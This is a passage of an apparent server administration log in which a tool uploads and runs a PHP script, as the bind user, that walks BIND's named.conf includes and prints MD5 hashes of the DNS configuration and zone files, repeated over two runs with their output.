MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:56:35: Establishing a connection
2026-04-24 19:56:35: 

PUT: /tmp/pkp440514

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:56:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp440514; rm /tmp/pkp440514'

2026-04-24 19:56:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:57:21: Establishing a connection
2026-04-24 19:57:21: 

PUT: /tmp/pkp234505

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:57:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp234505; rm /tmp/pkp234505'

2026-04-24 19:57:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
